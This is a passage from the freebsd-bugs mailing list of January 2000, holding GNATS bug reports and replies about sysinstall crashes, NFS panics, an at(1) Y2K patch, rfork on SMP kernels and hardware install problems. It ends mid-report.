freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 912B714F38 for ; Mon, 3 Jan 2000 23:00:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id XAA93377; Mon, 3 Jan 2000 23:00:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from kermodei.com (kermodei.com [216.103.110.74]) by hub.freebsd.org (Postfix) with ESMTP id 0F3ED14CE0 for ; Mon, 3 Jan 2000 22:58:40 -0800 (PST) (envelope-from markd@Kermodei.COM) Received: (from markd@localhost) by kermodei.com (8.9.3/8.9.3) id WAA01190; Mon, 3 Jan 2000 22:58:32 -0800 (PST) (envelope-from markd) Message-Id: <200001040658.WAA01190@kermodei.com> Date: Mon, 3 Jan 2000 22:58:32 -0800 (PST) From: Mark Diekhans Reply-To: markd@Kermodei.COM To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: conf/15878: sysinstall sig 11 on upgrade from 3.3 to 3.4 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15878 >Category: conf >Synopsis: sysinstall sig 11 on upgrade from 3.3 to 3.4 >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jan 3 23:00:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Mark Diekhans >Release: FreeBSD 3.4-RELEASE i386 >Organization: Kermodei >Environment: Pentium-II running 3.3-RELEASE >Description: Upgrading from 3.3 to 3.4. Enter selection of components to install and enter over custom. A signal 11 is then caught. Reproduced twice. >How-To-Repeat: Can be repeated on a running system by extracting the sysinstall program from the mfsroot floppy image and then running sysinstall on a booted system. >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 0:40: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 229E614E9C for ; Tue, 4 Jan 2000 00:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id AAA01961; Tue, 4 Jan 2000 00:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id B53A214F6E; Tue, 4 Jan 2000 00:33:30 -0800 (PST) Message-Id: <20000104083330.B53A214F6E@hub.freebsd.org> Date: Tue, 4 Jan 2000 00:33:30 -0800 (PST) From: janssen@rendo.dekooi.nl To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: i386/15879: System hangs while watching the tv and apm mode kicks in Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15879 >Category: i386 >Synopsis: System hangs while watching the tv and apm mode kicks in >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Jan 4 00:40:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Sander Janssen >Release: freebsd 3.4-stable >Organization: - >Environment: FreeBSD sander 3.4-STABLE FreeBSD 3.4-STABLE #2: Tue Jan 4 08:03:06 CET 2000 root@sander:/usr/src/sys/compile/SKERNEL i386 >Description: While watching tv in X and apm standby modus kicks in (could also be the screensaver but I doubt that, that has happened before ) involved hardware : chip3: rev 0x02 on pci0.7.3 bktr0: rev 0x11 int a irq 9 on pci0.9.0 bktr0: Hauppauge Model 56104 E1 >How-To-Repeat: Just watch the tv in X and wait for apm modus to kick in >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 2:23:40 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 4CE4A14A0A; Tue, 4 Jan 2000 02:23:39 -0800 (PST) (envelope-from sheldonh@FreeBSD.org) Received: (from sheldonh@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id CAA09958; Tue, 4 Jan 2000 02:23:38 -0800 (PST) (envelope-from sheldonh@FreeBSD.org) Date: Tue, 4 Jan 2000 02:23:38 -0800 (PST) From: Message-Id: <200001041023.CAA09958@freefall.freebsd.org> To: markd@Kermodei.COM, sheldonh@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: conf/15878: sysinstall sig 11 on upgrade from 3.3 to 3.4 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: sysinstall sig 11 on upgrade from 3.3 to 3.4 State-Changed-From-To: open->closed State-Changed-By: sheldonh State-Changed-When: Tue Jan 4 02:23:26 PST 2000 State-Changed-Why: This is a known problem, for which work-arounds are discussed at: ftp://ftp.FreeBSD.org/pub/FreeBSD/releases/i386/3.4-RELEASE/ERRATA.TXT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 3: 0: 6 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 36FA415131 for ; Tue, 4 Jan 2000 03:00:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA12892; Tue, 4 Jan 2000 03:00:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Tue, 4 Jan 2000 03:00:04 -0800 (PST) Message-Id: <200001041100.DAA12892@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Sheldon Hearn Subject: Re: bin/15872: Y2k bug in at(1) Reply-To: Sheldon Hearn Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15872; it has been noted by GNATS. From: Sheldon Hearn To: cjc@cc942873-a.ewndsr1.nj.home.com Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: bin/15872: Y2k bug in at(1) Date: Tue, 04 Jan 2000 12:55:34 +0200 On Mon, 03 Jan 2000 21:54:28 EST, "Crist J. Clark" wrote: > if (year > 99) { > if (year > 1899) > year -= 1900; > else > panic("garbled time"); > } ... What odd code. :-) I'd fix this by making proper tm_year adjustments before those calls to assign_date() which pass it a tm_year value. Have you chatted to the authors? Are they unreachable? Ciao, Sheldon. Index: parsetime.c =================================================================== RCS file: /home/ncvs/src/usr.bin/at/parsetime.c,v retrieving revision 1.19 diff -u -d -r1.19 parsetime.c --- parsetime.c 1999/12/05 19:57:14 1.19 +++ parsetime.c 2000/01/04 10:54:54 @@ -495,7 +495,7 @@ tm->tm_wday = wday; - assign_date(tm, mday, tm->tm_mon, tm->tm_year); + assign_date(tm, mday, tm->tm_mon, 1900 + tm->tm_year); break; case NUMBER: @@ -527,7 +527,7 @@ } else if (tlen == 6 || tlen == 8) { if (tlen == 8) { - year = (mon % 10000) - 1900; + year = mon % 10000; mon /= 10000; } else { To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 4:20: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id C7D5515299 for ; Tue, 4 Jan 2000 04:20:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id EAA22283; Tue, 4 Jan 2000 04:20:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Tue, 4 Jan 2000 04:20:02 -0800 (PST) Message-Id: <200001041220.EAA22283@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Sheldon Hearn Subject: Re: misc/15782: kernel script handling breaks with perl Reply-To: Sheldon Hearn Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR misc/15782; it has been noted by GNATS. From: Sheldon Hearn To: arjan@inventionz.org Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: misc/15782: kernel script handling breaks with perl Date: Tue, 04 Jan 2000 14:09:57 +0200 On Thu, 30 Dec 1999 07:32:47 PST, arjan@inventionz.org wrote: > While moving our webserver from OpenBSD to FreeBSD (hurray !), we've > seen a lot of perl scripts break on the first line > "#!/usr/bin/perl -*-perl-*-" What is that supposed to do? What is the -* option? I can't see how this is supposed to work. > Now I don't know that this is a good idea, but Laary Wall decided Perl > would expect one argument, including whitespace for #!perl > scripts. Where did you get this information? Take a look at the example given in the "Switches" subsection of the perlrun(5) manual page. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 6:40: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 14DC2151C2 for ; Tue, 4 Jan 2000 06:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id GAA74255; Tue, 4 Jan 2000 06:40:00 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 0E83B14CEF; Tue, 4 Jan 2000 06:34:16 -0800 (PST) Message-Id: <20000104143416.0E83B14CEF@hub.freebsd.org> Date: Tue, 4 Jan 2000 06:34:16 -0800 (PST) From: jrm@swc.com To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: kern/15882: Etherexpress 16 doesn't work in 3.4 install Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15882 >Category: kern >Synopsis: Etherexpress 16 doesn't work in 3.4 install >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Jan 4 06:40:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Jon Mitchell >Release: 3.4-STABLE >Organization: Subject Wills >Environment: AST Bravo 486 (no uname output as this in install process), IDE hard drives, ISA bus, Intel Etherexpress 16 >Description: Can not do install with set of boot images that were current as of 12/31/99 on a machine with an Intel Etherexpress 16 set to 0x300, IRQ 10, mem 0xd0000. Get warning about improper memory address of 0. Ran softset2 (intel's settings utility) and properly set the mem address as well as forced card to use 10BaseT instead of autodetect (possibly choosing AUI). Same results including warning about improper memory address. Install continues until dhcp or static IP address is attempted, then machine hangs. Other machines can not ping if static IP address is set. >How-To-Repeat: Run install, deselect all ethernet drivers except ie0, resolve any conflicts, attempt ftp install. Not known if this occurs on all x86 hardware. >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 6:44:47 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 0958A152CC; Tue, 4 Jan 2000 06:44:46 -0800 (PST) (envelope-from sheldonh@FreeBSD.org) Received: (from sheldonh@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id GAA90532; Tue, 4 Jan 2000 06:44:45 -0800 (PST) (envelope-from sheldonh@FreeBSD.org) Date: Tue, 4 Jan 2000 06:44:45 -0800 (PST) From: Message-Id: <200001041444.GAA90532@freefall.freebsd.org> To: spe@internetway.net, sheldonh@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: i386/15856: Bug in /stand/sysinstall on FreeBSD-3.4-RELEASE Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Bug in /stand/sysinstall on FreeBSD-3.4-RELEASE State-Changed-From-To: open->closed State-Changed-By: sheldonh State-Changed-When: Tue Jan 4 06:44:29 PST 2000 State-Changed-Why: This is a known problem, for which work-arounds are discussed at: ftp://ftp.FreeBSD.org/pub/FreeBSD/releases/i386/3.4-RELEASE/ERRATA.TXT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 7:50: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id E40881518D for ; Tue, 4 Jan 2000 07:50:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id HAA96906; Tue, 4 Jan 2000 07:50:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Tue, 4 Jan 2000 07:50:01 -0800 (PST) Message-Id: <200001041550.HAA96906@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Ruslan Ermilov Subject: Re: misc/15474: time server entry in /etc/services on freebsd 3.x Reply-To: Ruslan Ermilov Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR misc/15474; it has been noted by GNATS. From: Ruslan Ermilov To: jan@caustic.org Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: misc/15474: time server entry in /etc/services on freebsd 3.x Date: Tue, 4 Jan 2000 17:43:13 +0200 On Mon, Dec 13, 1999 at 07:30:39PM -0800, jan@caustic.org wrote: > > time server entry in /etc/services is misspelled. > > > time 37/tcp timserver > time 37/udp timserver > This is because `timeserver' is aliased to another one: timed 525/tcp timeserver timed 525/udp timeserver -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 8:40: 7 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 40F431521B for ; Tue, 4 Jan 2000 08:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id IAA02854; Tue, 4 Jan 2000 08:40:00 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from sabre.velocet.net (sabre.velocet.net [198.96.118.66]) by hub.freebsd.org (Postfix) with ESMTP id BDBA714F71 for ; Tue, 4 Jan 2000 08:29:32 -0800 (PST) (envelope-from root@velocet.net) Received: by sabre.velocet.net (Postfix, from userid 0) id 5F572137FD5; Tue, 4 Jan 2000 11:29:28 -0500 (EST) Message-Id: <20000104162928.5F572137FD5@sabre.velocet.net> Date: Tue, 4 Jan 2000 11:29:28 -0500 (EST) From: dgilbert@velocet.ca To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/15883: -current NFS leases panic Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15883 >Category: kern >Synopsis: NFS leases (-q) panic -current >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Jan 4 08:40:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: David Gilbert >Release: FreeBSD 4.0-CURRENT i386 >Organization: Velocet Communications >Environment: 4.0-CURRENT cvsup'd at Christmas >Description: When a file recently written by an NFS client is accessed by the server, the server panic's. Fatal trap 12: page fault while in kernel mode fault virtual address = 0x12ffa8d4 fault code = supervisor read, page not present instruction pointer = 0x8:0xc01b5bc9 stack pointer = 0x10:0xcf608cbc frame pointer = 0x10:0xcf608d48 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 3851 (mv) interrupt mask = kernel: type 12 trap, code=0 Stopped at nqsrv_send_eviction+0x9d: movl 0x14(%eax),%eax nqsrv_send_eviction(cf5fb540,c2786540,ffffffff,0,c273ee80) at nqsrv_send_eviction+0x9d nqsrv_getlease(cf5fb540,cf608e3c,6,ffffffff,ce1e0080) at nqsrv_getlease+0x2cd nqnfs_vop_lease_check(cf608e88,cf608e64,c0212229,cf608e88,cf608f3c) at nqnfs_vop_lease_check+0x34 vop_defaultop(cf608e88,cf608f3c,c0195cd8,cf608e88,ce1e0080) at vop_defaultop+0x15 ufs_vnoperate(cf608e88) at ufs_vnoperate+0x15 rename(ce1e0080,cf608f80,0,bfbff868,bfbff9af) at rename+0x2fc syscall(2f,2f,2f,bfbff9af,bfbff868) at syscall+0x176 Xint0x80_syscall() at Xint0x80_syscall+0x26 >How-To-Repeat: on nfs client (with mount -q foo:/raid /raid) cp kernel /raid/kernel on nfs server (with /raid) mv kernel /usr/tftpboot/ (within a few seconds) >Fix: None known. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 11:55:41 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 4566714EDF; Tue, 4 Jan 2000 11:55:40 -0800 (PST) (envelope-from dillon@FreeBSD.org) Received: (from dillon@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id LAA29056; Tue, 4 Jan 2000 11:55:40 -0800 (PST) (envelope-from dillon@FreeBSD.org) Date: Tue, 4 Jan 2000 11:55:40 -0800 (PST) From: Message-Id: <200001041955.LAA29056@freefall.freebsd.org> To: faber@ISI.EDU, dillon@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: kern/11222: MFS does not sync from reboot syscall Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: MFS does not sync from reboot syscall State-Changed-From-To: open->closed State-Changed-By: dillon State-Changed-When: Tue Jan 4 11:55:15 PST 2000 State-Changed-Why: Fix committed kern_shutdown.c 1.42 (actually committed a while ago) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 14:10: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id DF47014FA9 for ; Tue, 4 Jan 2000 14:10:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id OAA41722; Tue, 4 Jan 2000 14:10:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id C29AD14D0A; Tue, 4 Jan 2000 14:08:55 -0800 (PST) Message-Id: <20000104220855.C29AD14D0A@hub.freebsd.org> Date: Tue, 4 Jan 2000 14:08:55 -0800 (PST) From: scott@avantgo.com To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: misc/15890: rfork(RFMEM) on SMP generates error Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15890 >Category: misc >Synopsis: rfork(RFMEM) on SMP generates error >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Tue Jan 4 14:10:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Scott Hess >Release: 3.3-release >Organization: AvantGo, Inc. >Environment: FreeBSD ganja.avantgo.com 3.3-RELEASE FreeBSD 3.3-RELEASE #1: Mon Dec 13 11:10:31 PST 1999 root@zhorra.avantgo.com:/usr/src/sys/compile/AMPMPahc i386 >Description: rfork() with RFMEM flag generates EOPNOTSUPP when executed on an SMP kernel. Unfortunately, the rfork() manual page does not mention this, so you have to look at kernel source to figure it out. >How-To-Repeat: >Fix: Add to rfork(2): BUGS rfork() with RFMEM does not currently work on SMP kernels. In this case rfork() will return -1 with errno EOPNOTSUPP. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 14:30: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 0F8C515018 for ; Tue, 4 Jan 2000 14:30:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id OAA43651; Tue, 4 Jan 2000 14:30:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Tue, 4 Jan 2000 14:30:03 -0800 (PST) Message-Id: <200001042230.OAA43651@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Richard Seaman, Jr." Subject: Re: misc/15890: rfork(RFMEM) on SMP generates error Reply-To: "Richard Seaman, Jr." Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR misc/15890; it has been noted by GNATS. From: "Richard Seaman, Jr." To: scott@avantgo.com Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: misc/15890: rfork(RFMEM) on SMP generates error Date: Tue, 4 Jan 2000 16:27:04 -0600 On Tue, Jan 04, 2000 at 02:08:55PM -0800, scott@avantgo.com wrote: > rfork() with RFMEM does not currently work on SMP kernels. In this case rfork() will return -1 with errno EOPNOTSUPP. True for 3.X and earlier, but not 4.0-current. It should work in 4.0-current since about May 1, 1999. -- Richard Seaman, Jr. email: dick@tar.com 5182 N. Maple Lane phone: 262-367-5450 Chenequa WI 53058 fax: 262-367-5852 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 15:30: 6 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id EDBF414D0A for ; Tue, 4 Jan 2000 15:30:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id PAA48661; Tue, 4 Jan 2000 15:30:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 64E4714CB8; Tue, 4 Jan 2000 15:20:18 -0800 (PST) Message-Id: <20000104232018.64E4714CB8@hub.freebsd.org> Date: Tue, 4 Jan 2000 15:20:18 -0800 (PST) From: lintux@dds.nl To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: gnu/15892: NFS-exported ext2 file system makes Linux crash Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15892 >Category: gnu >Synopsis: NFS-exported ext2 file system makes Linux crash >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Jan 4 15:30:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Wilmer van der Gaast >Release: 3.2 >Organization: >Environment: Hmm... Don't have it running at the moment. Is it important???? Yes. Well, what I can say at the moment is that it is a custom kernel built from the original source tree that comes with 3.2 >Description: I am trying to migrate my Linux system to FreeBSD, and the first few weeks/months, I want to be able to use both system, so I want to mount the data-partition in both systems. This is an ext2 file system, and it works perfectly, but when I export it, also something that doesn't always work perfectly, and I mount it from Linux, I can do a normal ls on it, but when i do ls -i or ls -la, I get the following error message on the Linux box: __nfs_fhget: inode 196 still busy, i_count=1 Inode 196 is the quota.user file, maybe that's a cause. It might be a Linux-specific problem, but as it doesn't happen when I export the file system using Linux, it's also FreeBSD specific. >How-To-Repeat: 1. Mount the ext2 file system on the FBSD box, maybe you need a file- system with quotas 2. Export the file system 3. Mount the filesystem from a Linux box (Kernel 2.2.13) 4. ls -la /mount-point on the file system It's a good idea to remount the other filesystems read-only on the Linux box, because the system crashes after the last command. :( >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 18: 0: 9 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5A7F8151CB for ; Tue, 4 Jan 2000 18:00:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA66137; Tue, 4 Jan 2000 18:00:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 724BB14C46; Tue, 4 Jan 2000 17:55:34 -0800 (PST) Message-Id: <20000105015534.724BB14C46@hub.freebsd.org> Date: Tue, 4 Jan 2000 17:55:34 -0800 (PST) From: tomaz.borstnar@over.net To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: misc/15895: new bugfix version of htdig (3.1.4) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15895 >Category: misc >Synopsis: new bugfix version of htdig (3.1.4) >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Jan 4 18:00:03 PST 2000 >Closed-Date: >Last-Modified: >Originator: Tomaz Borstnar >Release: >Organization: SIIX >Environment: >Description: Quote from www.htdig.org: 9 Dec 1999: A new stable release of ht://Dig, htdig-3.1.4, is released. This release is recommended for all production systems. It solves most of the outstanding bugs in the 3.1.x releases >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 18: 4:22 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id A18D815375; Tue, 4 Jan 2000 18:04:15 -0800 (PST) (envelope-from billf@FreeBSD.org) Received: (from billf@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA66675; Tue, 4 Jan 2000 18:04:15 -0800 (PST) (envelope-from billf@FreeBSD.org) Date: Tue, 4 Jan 2000 18:04:15 -0800 (PST) From: Message-Id: <200001050204.SAA66675@freefall.freebsd.org> To: billf@FreeBSD.org, freebsd-bugs@FreeBSD.org, billf@FreeBSD.org Subject: Re: misc/15895: new bugfix version of htdig (3.1.4) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: new bugfix version of htdig (3.1.4) Responsible-Changed-From-To: freebsd-bugs->billf Responsible-Changed-By: billf Responsible-Changed-When: Tue Jan 4 18:02:49 PST 2000 Responsible-Changed-Why: my port. typically these reports come with patches or some such attachment. I'll leave this as a placeholder though, but would encourage anyone who sees an actual patch to close this PR... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 18:20: 9 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 992A5151FD for ; Tue, 4 Jan 2000 18:20:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA68362; Tue, 4 Jan 2000 18:20:04 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id 0A1581517B; Tue, 4 Jan 2000 18:13:35 -0800 (PST) Message-Id: <20000105021335.0A1581517B@hub.freebsd.org> Date: Tue, 4 Jan 2000 18:13:35 -0800 (PST) From: mohan@nber.org To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: i386/15897: Any fix for rpc.lockd on Free BSD 3.2 nfs server Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15897 >Category: i386 >Synopsis: Any fix for rpc.lockd on Free BSD 3.2 nfs server >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Jan 4 18:20:03 PST 2000 >Closed-Date: >Last-Modified: >Originator: 